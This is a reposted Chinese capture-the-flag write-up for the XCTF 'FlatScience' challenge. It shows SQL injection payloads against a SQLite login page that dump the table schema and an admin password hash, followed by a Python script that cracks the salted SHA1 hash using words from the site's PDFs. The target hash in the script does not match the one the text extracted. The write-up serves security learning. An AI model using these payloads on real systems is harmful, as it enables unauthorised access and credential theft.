XCTF FlatScience


一.進入實驗環境

  1.先來一波常規掃描:

  

 

   我們嘗試訪問login.php,查看源碼發現它給了我們一個提示讓我們傳debug=xx 

  

 

   果然得到有用的東西,根據語法可以知道使用的是sqlite數據庫,分析代碼可以知道通過post方式接受的參數沒有做任何的過濾,

  如果id不為空就執行   setcookie函數

  下面試試sql注入:

  post提交   usr=' union select name, name from sqlite_master where type='table'-- &pw=1

  

 

 

  根據返回的結果在set-Cookie中找到表名為Users,

  再通過  usr=' union SELECT sql,sql FROM sqlite_master WHERE tbl_name = 'Users' and type = 'table'-- &pw=1

  返回創建Users表的sql語句:

  +CREATE+TABLE+Users%28id+int+primary+key%2Cname+varchar%28255%29%2Cpassword+varchar%28255%29%2Chint+varchar%28255%29%29;

  將其url解碼:得    CREATE TABLE Users(id int primary key,name varchar(255),password varchar(255),hint varchar(255));

 

 

  也就是Users表中 有 id,name,password,hint四個字段, 我們逐個查詢里面的值:

  name = admin 。

  這三個查詢也可以采用  usr=' union select 1,group_concat(name) from sqlite_master where type='table'-- &pw=1

  通過 group_concat() 將查詢到的全部的值拼成字符串,避免了用  limit 的繁瑣。

  

 

 

 

 

   password = +34b0bb7c304949f9ff2fc101eef0f048be10d3bd;

  

 

 

 

  hint = my fav word in my paper。

   

 

 

   再根據之前的代碼可以分析到:在my favorite paper 中一個詞語和Salz拼接后再shal加密的值等於 +34b0bb7c304949f9ff2fc101eef0f048be10d3bd

  

 

   這里不可能一個個去找,所以看大佬的做法是自己用python爬取站點里所有pdf中的詞,

  大佬的代碼為:

from cStringIO import StringIO
from pdfminer.pdfinterp import PDFResourceManager, PDFPageInterpreter
from pdfminer.converter import TextConverter
from pdfminer.layout import LAParams
from pdfminer.pdfpage import PDFPage
import sys
import string
import os
import hashlib

def get_pdf():
    return [i for i in os.listdir("./") if i.endswith("pdf")]


def convert_pdf_2_text(path):
    rsrcmgr = PDFResourceManager()
    retstr = StringIO()
    device = TextConverter(rsrcmgr, retstr, codec='utf-8', laparams=LAParams())
    interpreter = PDFPageInterpreter(rsrcmgr, device)
    with open(path, 'rb') as fp:
        for page in PDFPage.get_pages(fp, set()):
            interpreter.process_page(page)
        text = retstr.getvalue()
    device.close()
    retstr.close()
    return text


def find_password():
    pdf_path = get_pdf()
    for i in pdf_path:
        print "Searching word in " + i
        pdf_text = convert_pdf_2_text(i).split(" ")
        for word in pdf_text:
            sha1_password = hashlib.sha1(word+"Salz!").hexdigest()
            if sha1_password == '3fab54a50e770d830c0416df817567662a9dc85c':
                print "Find the password :" + word
                exit()

if __name__ == "__main__":
    find_password()

  爬完之后 得到 登錄密碼為 ThinJerboa , 登錄拿到flag。

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM